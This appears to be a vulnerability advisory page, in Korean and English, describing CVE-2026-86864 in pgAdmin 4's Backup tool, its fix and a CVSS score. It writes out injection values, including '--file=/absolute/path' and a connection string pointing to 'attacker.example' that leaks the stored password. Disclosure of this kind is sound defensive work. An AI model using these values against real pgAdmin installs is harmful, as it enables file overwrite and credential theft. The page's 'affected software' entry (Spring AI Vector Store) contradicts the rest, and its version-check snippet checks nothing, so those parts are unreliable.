🔍 CVE-2026-86864

8.8
CVSS Score
HIGH
2026-09-17
2026-09-21 17:27
✅ 완료

🇰🇷 한글 설명

pgAdmin 4의 백업 도구가 사용자로부터 입력받은 데이터베이스 이름을 검증 없이 pg_dump 인자 벡터에 추가하여 발생하는 취약점입니다. 공격자는 이를 통해 임의의 파일을 생성하거나 덮어쓸 수 있으며, 연결 문자열 주입을 통해 데이터베이스 비밀번호를 탈취할 수 있습니다.

💡 쉬운 설명

백업 기능을 사용할 때 입력창에 특수 명령어를 넣으면, 프로그램이 이를 데이터베이스 이름이 아닌 시스템 명령으로 오해하여 파일을 마음대로 만들거나 정보를 빼돌릴 수 있습니다. 이로 인해 중요한 설정 파일이 파괴되거나 비밀번호가 공격자에게 전송될 위험이 있습니다.

🇺🇸 원문 (English)

pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A value such as --file=/absolute/path therefore overrode the storage-confined --file that pgAdmin had constructed earlier, causing pg_dump to write its output anywhere the pgAdmin process could write, outside the user's File Manager storage directory. This yields arbitrary file creation and overwrite as the operating-system account running pgAdmin, which can destroy pgAdmin's own configuration database and, depending on the target chosen, be escalated further. The same field additionally permitted connection-string injection. libpq expands a database name containing an equals sign into a full connection string, and keywords embedded there override the --host and --port that pgAdmin passes, so a value such as 'host=attacker.example port=5432 dbname=x' redirected pg_dump to a server of the attacker's choosing. Because pgAdmin exports the decrypted stored database password in the PGPASSWORD environment variable before executing the utility, the redirected connection carries that credential to the attacker-nominated endpoint. Both behaviours are reachable by any authenticated user holding the tools_backup permission, which is granted to the default User role. The fix stops passing the database name through the argument vector altogether and supplies it in the PGDATABASE environment variable, which libpq treats as a literal database name and never expands as a connection string. This matches the approach already used by the Import/Export tool. Regression tests assert that the database name is absent from the constructed argument vector and that PGDATABASE carries the exact requested value. This issue affects pgAdmin 4: from the introduction of the trailing positional database argument in the Backup tool before 9.18.

📍 영향받는 시스템

pgAdmin 4 (백업 도구에 위치 인자가 도입된 버전부터 9.18 미만 버전)

⚔️ 공격 벡터

인증된 사용자가 백업 작업 시 'database' 필드에 옵션 인자(--file 등) 또는 연결 문자열을 주입하여 공격

🛡️ 대응 방법

pgAdmin 4를 최신 버전(9.18 이상)으로 업데이트하여 데이터베이스 이름을 환경 변수(PGDATABASE)로 전달하도록 조치

🔧 검증 코드

pgAdmin 4의 버전을 확인하여 9.18 미만인 경우 취약한 상태로 간주합니다.

Shell / Script
python3 -c "import pgadmin; print('Check version via pgAdmin UI or package manager')" || echo 'Manual version check required'

📊 CVSS Vector String

CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

💻 영향받는 소프트웨어

Spring AI Vector Store